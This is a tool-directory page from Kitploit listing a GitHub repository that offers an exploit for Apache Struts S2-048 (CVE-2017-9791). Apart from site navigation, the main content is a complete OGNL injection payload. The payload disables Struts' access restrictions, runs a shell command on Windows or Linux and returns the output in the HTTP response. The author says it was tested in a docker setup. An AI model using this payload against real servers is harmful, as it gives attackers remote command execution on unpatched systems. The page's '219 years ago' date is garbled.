Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
s2-048 — Apache struts struts 2 048, CVE-2017-9791. | Kitploit
Tools/GitHubGitHub/iansmith123/s2-048
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubiansmith123/s2-048

s2-048

Apache struts struts 2 048, CVE-2017-9791.

View Repository
219 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

s2-048

Exp for s2-048, CVE-2017-9791.

root@kitploit:~
  ______     _______     ____   ___  _ _____     ___ _____ ___  _ 
 / ___\ \   / / ____|   |___ \ / _ \/ |___  |   / _ \___  / _ \/ |
| |    \ \ / /|  _| _____ __) | | | | |  / /___| (_) | / / (_) | |
| |___  \ V / | |__|_____/ __/| |_| | | / /_____\__, |/ / \__, | |
 \____|  \_/  |_____|   |_____|\___/|_|/_/        /_//_/    /_/|_|

poc:

root@kitploit:~
%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

This is a poc from https://github.com/Loneyers/vuldocker/tree/master/struts2/s2-048, I build a docker and successfully get the same result, but there is still some errors in my python script.

Download Tool